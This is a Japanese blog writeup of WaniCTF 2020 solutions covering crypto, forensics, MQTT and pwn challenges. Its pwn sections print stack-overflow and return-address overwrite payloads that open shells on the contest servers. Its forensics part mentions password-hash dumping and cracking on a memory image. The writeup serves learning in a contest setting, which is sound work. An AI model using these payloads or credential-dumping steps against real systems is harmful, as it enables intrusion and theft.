好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

WaniCTF 2020 writeup

11月21-23日の三連休で開催されていた、WaniCTF 2020に参加しました。
大阪大学のCTFサークル Wani Hackaseが開催されていると開始日にtwitterで知って覗きに行ったところ、初級者問題から用意してあるということで面白そう!と参加してみました。

結果は 2343pt 36位。

f:id:kusuwada:20201123214614p:plain

WebとMiscは全完で、あとはぼちぼち。

f:id:kusuwada:20201123214618p:plain

解けた問題だけwriteup書きます。
(たくさんwirteupありそうだけど、writeup書きながら解いているので載せちゃう)

[Crypto] Veni, vidi [Beginner]

SYNT{fvzcyr_pynffvpny_pvcure}

Writer : Laika

flag formatが FLAG{であるので、

S -> F
Y -> L
N -> A
T -> G

と変換されるはず。すべてalphabet順で13文字ずつずれているのでROT13。

flag: FLAG{simple_classical_cipher}

[Crypto] exclusive [Easy]

XORを使った暗号です🔐

Writer : Laika

encrypt.pyoutput.txtが配布されます。

key = "REDACTED"
flag = "FAKE{this_is_fake_flag}"

assert len(key) == len(flag) == 57
assert flag.startswith("FLAG{") and flag.endswith("}")
assert key[0:3] * 19 == key


def encrypt(s1, s2):
    assert len(s1) == len(s2)

    result = ""
    for c1, c2 in zip(s1, s2):
        result += chr(ord(c1) ^ ord(c2))
    return result


ciphertext = encrypt(flag, key)
print(ciphertext, end="")
9;.0"s3)q1+046-,&3#u-'vr*,s6,1."(,t$:775# *c>

コード中の

assert key[0:3] * 19 == key

より、keyは3文字の繰り返しだということがわかります。
また、他のassert文から、flagはFLAG{から始まるよ、ということが強調されています。

cipherの作成は flag xor key を1文字ずつ実施したものになっていますが、今cipherしか手元になく、keyはありません。
が、上記の条件よりkeyを推測できそうなので、flagが求まりそう。

import string
candidates = string.ascii_letters

with open('output.txt','r') as f:
    cipher = f.read()

prefix = 'FLAG{'
key = ''
for i in range(3):
    for c in candidates:
        if ord(cipher[i]) ^ ord(c) == ord(prefix[i]):
            key += c
            break
print('key[0:3] = ' + key)
flag = ''
key = key*19
for i in range(len(key)):
    flag += chr(ord(cipher[i]) ^ ord(key[i]))
print(flag)

実行結果

$ python solve.py 
key[0:3] = ABC
FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}

[Crypto] Basic RSA [Normal]

RSA暗号の基本的な演算ができますか?

nc rsa.wanictf.org 50000

Writer : Laika

配布物はなし。指定のホストに接続してみます。

$ nc rsa.wanictf.org 50000

:::::::..   .::::::.   :::.
;;;;``;;;; ;;;`    `   ;;`;;
 [[[,/[[[' '[==/[[[[, ,[[ '[[,
 $$$$$$c     '''    $c$$$cc$$$c
 888b "88bo,88b    dP 888   888,
 MMMM   "W"  "YMmMY"  YMM   ""`


+================================+
| Given : p, q (512-bit integer) |
| Find  : n = p*q                |
+================================+

p = 11664029376469547316514618962713345900897332099662170512856413650005352292292444321667343442817736645329072133463927552521462656518574625422909763598643921
q = 2014026340217980091829644910200546779091847051189853386855664224533293806444297218105571612739833360023841305006694063533858901553823723111647324315099723
[n?] > 

ふぁー!かっこいい!解き方も書いてあるし!
全部で3問、基礎的なRSAの計算式に関する問題でした。 下記は最終的に問題を解くために使用したコード。

import gmpy2
from Crypto.Util.number import inverse

"""
+================================+
| Given : p, q (512-bit integer) |
| Find  : n = p*q                |
+================================+
"""
def q1():
    p = 11664029376469547316514618962713345900897332099662170512856413650005352292292444321667343442817736645329072133463927552521462656518574625422909763598643921
    q = 2014026340217980091829644910200546779091847051189853386855664224533293806444297218105571612739833360023841305006694063533858901553823723111647324315099723
    return p*q

"""
+=======================================+
| Given : m ) Message                   |
|         e ) Public exponent           |
|         n ) p*q  (p, q 512-bit prime) |
| Find  : c = m**e (mod n)              |
+=======================================+
"""
def q2():
    m = 108390115652198913759954234015464203036
    e = 65537
    n = 86924220668388155337668425347048963032752741139221623831977697846529741862821947522326290451023535939758314002818730923709842046367172005602254780365810399895530638268781644992896640336824457079462400891438464279827448176417292496551712776177770324463326190856569725619206715957741211747672346819690136171977
    
    c = pow(m,e,n)
    return c

"""
+=====================================+
| Given :  p, q ) 512-bit primes      |
|          e    ) Public exponent     |
|          c    ) Encrypted message   |
|                 = m**e (mod p*q)    |
| Find  :  m    ) Message             |
+=====================================+
"""
def q3():
    p = 9757937611935752124280059670772050267809036141396461384620241963252779298770026129849703045539203108994410210934135909488260169520469808077470338645412133
    q = 13161928049815797780497472073427072630302027839644124426623530807261653809137874796147959867211373996709825439881638794817216735868023019250756662592126779
    e = 65537
    c = 92908399133267695854076203971624531622558873404788299653643006961677429795196706469288507494464145746176106602727269241370850063187685116616434204142706980555426616999386843231330772663035505320372832973130904493394385544264378082376642309935511643359733259797997776436510636196894134033753698365683800079947
    
    n = p*q
    d = inverse(e, (p-1)*(q-1))
    m = pow(c, d, n)
    return m

print('q1: ' + str(q1()))
print('q2: ' + str(q2()))
print('q3: ' + str(q3()))

[Crypto] LCG crack [Hard]

安全な暗号は安全な乱数から

nc lcg.wanictf.org 50001

Writer : Laika

server.pyが配布されます。

import random
import os

from Crypto.Util.number import *

from const import flag, logo, description, menu


class RNG:
    def __init__(self, seed, a, b, m):
        self.a = a
        self.b = b
        self.m = m
        self.x = seed % m

    def next(self):
        self.x = (self.a * self.x + self.b) % self.m
        return self.x


def show_menu():
    print(menu)
    log(description)
    while not (choice := input("> ")) in "123":
        print("Invalid choice.")

    return int(choice)


if __name__ == "__main__":
    print(logo)
    seed = random.getrandbits(64)
    a = random.getrandbits(64)
    b = random.getrandbits(64)
    m = getPrime(64, os.urandom)
    rng = RNG(seed, a, b, m)

    while True:
        choice = show_menu()

        # Print
        if choice == 1:
            print(rng.next())

        # Guess
        elif choice == 2:
            for cnt in range(1, 11):
                print(f"[{cnt}/10] Guess the next number!")
                try:
                    guess = int(input("> "))
                except ValueError:
                    print("Please enter an integer\n\n\n")
                    continue
                if guess == rng.next():
                    print(f"Correct! ")
                    cnt += 1
                else:
                    print(f"Wrong... Try again!")
                    break
            else:
                print(f"Congratz!  {flag}")
                break

        # Exit
        else:
            print("Bye :)")
            break

タイトルの通り、線形合同法(LGC)で乱数を生成し、メニューの1を選べば次の乱数を教えてくれ、2を選ぶと次の乱数を当てるモードになる。10回連続で当たればFlagゲット。

LGCについては下記の記事を参考にさせていただいた。

線形合同法のパラメータを乱数列から求めてみる。 - みつのCTF精進記録

LGCについてだけ知ろうと思って読んだんだけど、なんと全部の変数が不明なときの解き方も解説されていた&プログラムも公開されていたので、全面的に使わせていただいた。

# Quoted from the following article.
#   https://mitsu-mitsu.hatenablog.com/entry/2019/03/11/210128

import sys
from functools import reduce
import math

class RNG:
    def __init__(self, seed, a, b, m):
        self.a = a
        self.b = b
        self.m = m
        self.x = seed % m

    def next(self):
        self.x = (self.a * self.x + self.b) % self.m
        return self.x

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception("No modinv")
    return x % m

if __name__ == "__main__":

    # inputs
    x = []
    buf = input("number1 > ")
    x.append(int(buf))
    buf = input("number2 > ")
    x.append(int(buf))
    buf = input("number3 > ")
    x.append(int(buf))
    buf = input("number4 > ")
    x.append(int(buf))
    buf = input("number5 > ")
    x.append(int(buf))
    buf = input("number6 > ")
    x.append(int(buf))

    # solve M
    T = []
    for x0, x1 in zip(x, x[1:]):
        T.append(x1 - x0)

    zeros = []
    for t0, t1, t2 in zip(T, T[1:], T[2:]):
        zeros.append(t2 * t0 - t1 * t1)

    M = abs(reduce(math.gcd, zeros))

    # solve a, c
    if x[0] == x[1]:
        a = 0
        c = x[0]
    else:
        a = (x[2] - x[1]) * modinv(x[1] - x[0], M) % M
        c = (x[2] - a * x[1]) % M


    # answer
    print("a = {}".format(a))
    print("c = {}".format(c))
    print("M = {}".format(M))
    
    # print next
    print('-------------')
    rng = RNG(x[0],a,c,M)
    for i in range(16):
        print(rng.next())

ヨシ。かけた。
後は問題サイトに接続して

$ nc lcg.wanictf.org 50001


     :::       .,-:::::  .,-:::::/
     ;;;     ,;;;'````',;;-'````'
     [[[     [[[       [[[   [[[[[[/
     $$'     $$$       "$$c.    "$$
    o88oo,.__`88bo,__,o,`Y8bo,,,o88o
    """"YUMMM  "YUMMMMMP" `'YMUP"YMM



      +=============================+
      | 1. Generate the next number |
      | 2. Guess the next number    |
      | 3. Exit                     |
      +=============================+

 - Guess the numbers in a row, and I'll give you a flag!

かっこいい!
まずは6個乱数を表示してもらいます。

> 1
968063576665623207
(割愛しつつ)
6942213208454254108
6037900159698811305
7961697449679955748   
10524687381943825335
5795376154186897855

これを、手元のプログラムの標準入力に入れていきます。

$ python solve.py 
number1 > 968063576665623207
number2 > 6942213208454254108
number3 > 6037900159698811305
number4 > 7961697449679955748
number5 > 10524687381943825335
number6 > 5795376154186897855
a = 6647176948592859669
c = 8016427433234485500
M = 13209807852157259417
-------------
6942213208454254108
6037900159698811305
7961697449679955748
10524687381943825335
5795376154186897855
11120383654672342960
8367448246808494385
5512569902711231937
10638127537021322371
2796180353799178532
592327160523121706
12637640723605439054
3678214294212629466
11923041937919337371
10430737440177842419
8913604321412970197

あとは出力された乱数の列を続きから入力していくのみ!

> 2
 - [1/10] Guess the next number!
> 11120383654672342960
 - Correct! 
 - [2/10] Guess the next number!
> 8367448246808494385
 - Correct! 
 - [3/10] Guess the next number!
> 5512569902711231937
 - Correct! 
 - [4/10] Guess the next number!
> 10638127537021322371
 - Correct! 
 - [5/10] Guess the next number!
> 2796180353799178532
 - Correct! 
 - [6/10] Guess the next number!
> 592327160523121706
 - Correct! 
 - [7/10] Guess the next number!
> 12637640723605439054
 - Correct! 
 - [8/10] Guess the next number!
> 3678214294212629466
 - Correct! 
 - [9/10] Guess the next number!
> 11923041937919337371
 - Correct! 
 - [10/10] Guess the next number!
> 10430737440177842419
 - Correct! 
Congratz!  FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}

[Forensics] logged_flag [Beginner]

ワニ博士が問題を作っていたので、作っているところをキーロガーで勝手に記録してみました。

先に公開してしまいたいと思います。

Writer : takushooo

key_log.txtsecret.jpgが配布されます。

f:id:kusuwada:20201123215009j:plain:w400

********************************************
コンピュータ名   :WANIWANI
ユーザ名    :ALLIGATOR
********************************************
11:49:57 [M]
11:49:57 [K]
11:49:57 [D]
11:49:57 [I]
11:49:58 [R]
11:49:58 [Space]
11:49:58 [S]
... (略)
********************************************

めちゃめちゃ親切なkeyloggerなので、そのまま読んだ。

mkdir steghide
cp original.jpg ./steghide
cd steghide
echo FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}
...

まだ続いてたしワニの絵を使ってないけどFLAGが出たのでOK

[Forensics] chunk_eater [Normal]

pngの必須チャンクをワニ博士が食べてしまいました!

PNGファイルフォーマット

Writer : takushooo

png復元問題っぽい。eaten.pngが配布されます。

PNGの解析についてはここに書いた方法でやってみました。

バイナリエディタで対象ファイルを開きながら、pngcheckで破損箇所を確認していくと、チャンクの名前がWANIに置き換わっていてチャーミング&わかりやすかった。

picoCTF 2019 の c0rrupt と同じような感じで、pngcheckで破損箇所と修復があっていたかを確認しつつ、バイナリエディタで修正して行く感じ。

修正箇所:

  • 1個目のWANI -> IHDR
  • 2個目のWANI -> IDAT
  • 3個目のWANI -> IDAT
  • 4個目のWANI -> IDAT
  • 最後のWANI -> IEND

結果的に、必須の構造体のチャンク名が食べられていただけだった。最初の方は標準チャンクも全部試したりしてみたので、えらい時間がかかった。なんとよく読み返してみたら「必須チャンクが食べられている」と問題文に書いてあった…orz

f:id:kusuwada:20201123215014p:plain:w400

[Forensics] ALLIGATOR_01 [Easy]

ワニ博士のPCでは,悪意のあるプロセスが実行されているみたいです。

取得したメモリダンプから、”evil.exe”が実行された日時を報告してください。

(注意: スペースはすべて半角のアンダースコアにしてください)

example: FLAG{1234-56-78_99:99:99_UTC+0000}

問題ファイル: ALLIGATOR.zip (ミラー: ALLIGATOR.zip)

推奨ツール: volatility

Writer : takushooo

ALLIGATOR.zipファイルが配布されます。

exe問題なのであまりやる気がなかったのですが、Easy問題ならなwindows環境なくてもイケるかなーと思って…。

どうやら問題文中に紹介されている volatility は、ubuntuでもmacでも使えるようだ。調べてみるとkali linuxには標準で入ってるっぽい。

こんな感じで基本コマンドが動かせる。

$ volatility -f ALLIGATOR.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/root/ctf/wani2020/ALLIGATOR.raw)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x82754de8L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x80b96000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2020-10-26 03:04:49 UTC+0000
     Image local date and time : 2020-10-25 20:04:49 -0700

これ以降の解析をするときに

Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86

の部分が重要っぽい。メモリの解析をここを飛ばしてしようとするとmappingがわからん!と怒られた。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 pstree | grep 'evil.exe'
Volatility Foundation Volatility Framework 2.6
. 0x84dd6b28:evil.exe                                3632   2964      1     21 2020-10-26 03:01:55 UTC+0000

🙌

ということで、フォーマットを合わせて
flag: FLAG{2020-10-26_03:01:55_UTC+0000}

[Forensics] ALLIGATOR_02 [Normal]

コマンドプロンプトの実行履歴からFLAGを見つけてください。

(ALLIGATOR_01で配布されているファイルを使ってください)

Writer : takushooo

これ、ALLIGATOR問題で最初に解けた。想定解ではない。けどexeファイルアレルギー(win環境無い)なので、なんとか超シンプル解析でflagを見つけようとした結果。しょうがない。

01で配布された ALLIGATOR.raw に対して strings コマンドを打つと出てきた。

$ strings ALLIGATOR.raw | grep FLAG{
FLAG{y0u_4re
FLAG{y0u_4re_c0n50les_master}
FLAG{y0u_4re_c0n50les_master}
FLAG{y0u_4re_c0n50les_master}
FLAG{y0u_4re_c0n50les_master}

👍

(その後 ALLIGATOR_03 に取り組んでガチャガチャやっているうちにvolatilityを使った想定解っぽいのを見つけたので載せておく。Flagのコメントとも一致してる。)

volatility には色んなプラグインが用意されており、そのうちの一つ

consoles: Extract command history by scanning for _CONSOLE_INFORMATION

を実行すればコマンドの履歴が取れる。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 336
Console: 0x4f81c0 CommandHistorySize: 50
HistoryBufferCount: 2 HistoryBufferMax: 4
OriginalTitle: C:\Program Files\OpenSSH\bin\cygrunsrv.exe
Title: C:\Program Files\OpenSSH\bin\cygrunsrv.exe
AttachedProcess: sshd.exe Pid: 856 Handle: 0x54
----
CommandHistory: 0xb0960 Application: sshd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x54
----
CommandHistory: 0xb07f0 Application: cygrunsrv.exe Flags: 
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
Screen 0xc6098 X:80 Y:300
Dump:

**************************************************
ConsoleProcess: conhost.exe Pid: 3736
Console: 0x4f81c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: Administrator: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 3728 Handle: 0x5c
----
CommandHistory: 0x350440 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0x3546d8: type C:\Users\ALLIGATOR\Desktop\flag.txt
----
Screen 0x3363b8 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt                     
FLAG{y0u_4re_c0n50les_master}                                                   
C:\Users\ALLIGATOR>

出た!
ちなみに 03 は、

  • hashdumpALLIGATORのパスワードハッシュを取得、それを
    • オンライン解析に投げてる
    • john the ripperでNTLM形式で解析
  • lsadump で出てきた下記のパスワードを試したり
    • Passw0rd!
    • D@rj33l1ng

したけど解けなかった…。

[Misc] Find a Number [Beginner]

隠された数字を当てるとフラグが表示されます.

数字は0以上500000以下であることが保証されています.

nc number.wanictf.org 60000

Writer : kawamoto

number.pyが配布されます。

import random

flag = b"FAKE{this_is_a_fake_flag}"


def main():
    number = random.randint(0, 500000)
    print("find a number")
    for i in range(20):
        print("challenge", i)
        client_challenge = int(input("input:"))
        if client_challenge == number:
            print("correct!!!")
            print(flag)
            exit()
        elif client_challenge < number:
            print("too small")
            print("try again!")
        else:
            print("too big")
            print("try again!")
    print("You've failed too many times")


if __name__ == "__main__":
    main()

ランダム値推測系の問題かと思ったけど、最初に作られた number は正解するか20解連続間違えるまで変わらない & 自分の入力が大きかったか小さかったかを返してくれるので、普通の二分探索でいけそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = "number.wanictf.org"
port = 60000

min = 0
max = 500000

r = remote(host, port)
while True:
    print(min,max)
    r.recvuntil(b'input:')
    r.sendline(str((min+max)//2).encode())
    res = r.recvline()
    if res == b'too small\n':
        min = (min+max)//2
    elif res == b'too big\n':
        max = (min+max)//2
    elif res == b'correct!!!\n':
        print(r.recvline())
        exit(0)

実行結果

$ python solve.py 
[+] Opening connection to number.wanictf.org on port 60000: Done
0 500000
0 250000
125000 250000
187500 250000
187500 218750
203125 218750
210937 218750
214843 218750
216796 218750
216796 217773
216796 217284
216796 217040
216918 217040
216918 216979
216918 216948
216933 216948
b'FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}\n'

[Misc] MQTT Challenge [Normal]

問題ページ: https://mqtt.wanictf.org

噂の軽量プロトコル「MQTT」をテストするページを作ったよ。どこかに秘密のトピックがあるから探してみてね。

(Hint)

今回の問題ページではあらかじめ「nkt/test」というトピックをサブスクライブしており、他にも「nkt/hoge」「nkt/huga」などのトピックに対してパブリッシュが行われています。

別のトピックを入力して「Subscribe」ボタンを押すとそのトピックをサブスクライブできるので、どうにかしてFLAGを配信しているトピックを見つけてください。

(注意)

データが送信されてくる間隔は約一分程度になっているので、新たにトピックをサブスクライブした際などは少し様子を見てみてください。

まれにコネクションが切れる場合があるので、様子がおかしいときはリロードしてください。

Writer : nkt

あーこれは!MQTT問題!ちょうど仕事で扱い始めた領域!

指定のサイトを訪問すると、subscribeしたいトピックを登録できるみたい。
これは自分のマシンにMQTT通信用の環境とかいらないタイプのやつ!いけそう!

で、なんとかflagを配信しているtopicをsubscribeできればflagが降ってくる。
試しに他の例に習ってnkt/flagをsubscribeしたら、FAKEのflagが降ってきた。

f:id:kusuwada:20201123215152p:plain

topic名をguessingするのは想定解ではなさそうなので、おぼろげな知識で # (MQTTのpathのワイルドカード的な扱い)を入れてみると、全部降ってきた🙌

f:id:kusuwada:20201123215155p:plain

なんと業務でやったことがCTFに生きるという珍しいパターン!嬉しい!!!
ちょうど「関連のないtopicをsubscribeできてしまう」という穴が起こらないように対策しないとね、と言っていたところなのでした。

このtopic path、好き…♡
topic:top/secret/himitu/daiji/mitara/dame/zettai/flag

[Pwn] netcat [Beginner]

nc netcat.wanictf.org 9001

netcat (nc)と呼ばれるコマンドを使うだけです。

つないだら何も表示されなくても知っているコマンドを打ってみましょう。

使用ツール例 netcat (nc) gccのセキュリティ保護 Full RELocation ReadOnly (RELRO) Stack Smash Protection (SSP)有効 No eXecute bit(NX)有効 Position Independent Executable (PIE)有効

Writer : saru

pwn01.cpwn01が配布されます。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void init();

void win()
{
    puts("congratulation!");
    system("/bin/sh");
    exit(0);
}

int main()
{
    init();
    win();
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

win関数を呼びだして、shellを起動してくれるので、flagを探して彷徨えば良いっぽい。

$ nc netcat.wanictf.org 9001
congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{netcat-1s-sw1ss-4rmy-kn1fe}

Pwn問でshellを取れたあとの基本だ。

[Pwn] var rewrite [Beginner]

nc var.wanictf.org 9002

stackの仕組みを理解する必要があります。

ローカル変数はstackに積まれます。

ローカル変数を書き換えて下さい。

使用ツール例 netcat (nc) gccのセキュリティ保護 Full RELocation ReadOnly (RELRO) Stack Smash Protection (SSP)有効 No eXecute bit(NX)有効 Position Independent Executable (PIE)有効

Writer : saru

pwn02.cpwn02が配布されます。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

char str_head[] = "hello ";
char str_tail[] = "!\n";

void win()
{
    puts("Congratulation!");
    system("/bin/sh");
    exit(0);
}

void vuln()
{
    char target[] = "HACKASE";
    char name[10];
    char *p;
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    if (strncmp(target, "WANI", 4) == 0)
    {
        win();
    }
    else
    {
        printf("target = %s\n", target);
    }

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    printf("\n***start stack dump***\n");
    i = rsp;
    while (i <= rbp + 8)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    printf("***end stack dump***\n\n");
}

結構長い。win関数を呼び出せば勝ちっぽい。

target変数にHAKASEが入ってるので、これをWANIに書き換えればオッケー。
targetのあとに定義されているname[10]をこちらから入れることができるので、バッファ・オーバーフローさせてWANIをtargetに入れてあげれば良さそう。

$ nc var.wanictf.org 9002
What's your name?: AAAAAAAAAAWANI
hello AAAAAAAAAAWANI!
Congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}

[Pwn] binsh address [Easy]

nc binsh.wanictf.org 9003

文字列はメモリのどこかに配置されています。

strings -tx ./pwn03 | less

(ツールのヒントは前と同じなので割愛)

Writer : saru

pwn03.cpwn03が配布されます。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "Please input \"";
char binsh[] = "/bin/sh";
char str_tail[] = "\" address as a hex number: ";

void init();

void vuln()
{
    char name[0x20];
    unsigned long int val;
    char *p;
    int ret;

    write(0, str_head, strlen(str_head));
    write(0, binsh, strlen(binsh));
    write(0, str_tail, strlen(str_tail));

    ret = read(0, name, 0x20);
    name[ret - 1] = 0;
    val = strtol(name, NULL, 16);
    printf("Your input address is 0x%lx.\n", val);
    p = (char *) val;
    if(p == binsh){
        puts("Congratulation!");
        system(p);
        exit(0);
    }else{
        puts("You are wrong.\n\n");
    }
}

int main()
{
    init();
    printf("The address of \"input  \" is 0x%lx.\n", (unsigned long int) str_head);    
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

char binsh[] = "/bin/sh"; のアドレスを入力できればOK。
問題文にあった通りのコマンドで、それぞれの変数のアドレスを覗いてみます。

$ strings -tx ./pwn03 | grep 'Please input'
   2010 Please input "
$ strings -tx ./pwn03 | grep 'bin'
   2020 /bin/sh
   2a0c binsh

何らかのセキュリティ対策が施されているため(詳細は実行ファイルのセキュリティ機構をやってみればわかるはず)、サーバーの実行ファイルのアドレスは、接続のたびに変わっているようです。
最初にstr_headのアドレスを親切にも教えてくれるので、ここから見たbinshの相対的なアドレス(+0x10)を入力してあげればOK。

$ nc binsh.wanictf.org 9003
The address of "input  " is 0x5618b260b010.
Please input "/bin/sh" address as a hex number: 0x5618B260B020
Your input address is 0x5618b260b020.
Congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}

୧(๑>▽<๑)૭

[Pwn] ret rewrite [Normal]

nc ret.wanictf.org 9005

stackの仕組みを学びましょう。

関数の戻りアドレスはstackに積まれます。

"congraturation"が出力されてもスタックのアライメントの問題でwin関数のアドレスから少しずらす必要がある場合があります。

(echo -e "\x11\x11\x11\x11\x11\x11"; cat) | nc ret.wanictf.org 9005

念のためpwntoolsのサンプルプログラム「pwn05_sample.py」を載せておきました。

Writer : saru

pwn05, pwn05.c, pwn05_sample.pyが配布されます。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "Hello ";
char str_tail[] = "!\n";

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

void win()
{
    puts("congratulation!");
    system("/bin/sh");
    exit(0);
}

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    printf("\n***start stack dump***\n");
    i = rsp;
    while (i <= rbp + 32)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    printf("***end stack dump***\n\n");
}

win関数を呼び出せればshellを取れるが、プログラム上ではwin関数は呼ばれていない。問題文の通り、return addressをwin関数に書き換える必要がある。

試しに、問題文にあったヒントをそのまま実行してみる。

$ (echo -e "\x11\x11\x11\x11\x11\x11"; cat) | nc ret.wanictf.org 9005
What's your name?: Hello !

***start stack dump***
0x7fff228338c0: 0x11111111111139c0 <- rsp
0x7fff228338c8: 0x0000000700400900
0x7fff228338d0: 0x00007fff228338e0 <- rbp
0x7fff228338d8: 0x0000000000400928 <- return address
0x7fff228338e0: 0x0000000000400a50
0x7fff228338e8: 0x00007fee5c537bf7
0x7fff228338f0: 0x0000000000000001
***end stack dump***

What's your name?: 

rspに 入力値がかかれている。
このままreturn addressまで埋めてあげれば良さそう。

picoの過去問にも同じタイプが出ていたのでそのとき書いたwriteupを参考に。

picoCTF 2019 NewOverFlow-1

  • bufferはstack dumpの結果より、8byte×3行(8*3=24)を目安に始めて、stack dumpの結果を見ながら手動で適当に調節した
  • 問題文にもあったとおり、アライメントを合わせる必要があったので、末尾の \x37\x38 に変更した
    • これについては上記のwriteupで軽く解説したはず

えくすぷろいと。

$ (echo -e "aaaaaaaaaaaaaaaaaaaaaa\x38\x08\x40\x00\x00\x00\x00\x00"; cat) | nc ret.wanictf.org 9005
What's your name?: Hello aaaaaaaaaa!

***start stack dump***
0x7ffe9db5c810: 0x616161616161c910 <- rsp
0x7ffe9db5c818: 0x0000001f61616161
0x7ffe9db5c820: 0x6161616161616161 <- rbp
0x7ffe9db5c828: 0x0000000000400838 <- return address
0x7ffe9db5c830: 0x0000000000400a00
0x7ffe9db5c838: 0x00007f0fad7b1bf7
0x7ffe9db5c840: 0x0000000000000001
***end stack dump***

congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{1earning-how-return-address-w0rks-on-st4ck}

[Pwn] got rewriter [Easy]

nc got.wanictf.org 9004

global offset table (GOT)の仕組みを理解する必要があります。

objdump -d -M intel ./pwn04 | less

Writer : saru

pwn04, pwn04.c が配布されます。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void init();

void win()
{
    puts("congratulation!");
    system("/bin/sh");
    exit(0);
}

void vuln()
{
    char str_val[0x20];
    unsigned long int val;
    unsigned long int *p;
    int ret;

    printf("Please input target address (0x600e10-0x6010b0): ");
    ret = read(0, str_val, 0x20);
    str_val[ret - 1] = 0;
    val = strtol(str_val, NULL, 16);
    printf("Your input address is 0x%lx.\n", val);
    if (val < 0x600e10 || val > 0x6010b0)
    {
        printf("you can't rewrite 0x%lx!\n", val);
        return;
    }
    p = (unsigned long int *)val;

    printf("Please input rewrite value: ");
    ret = read(0, str_val, 0x20);
    str_val[ret - 1] = 0;
    val = strtol(str_val, NULL, 16);
    printf("Your input rewrite value is 0x%lx.\n\n", val);

    printf("*0x%lx <- 0x%lx.\n\n\n", (unsigned long int)p, val);
    *p = val;
}

int main()
{
    init();
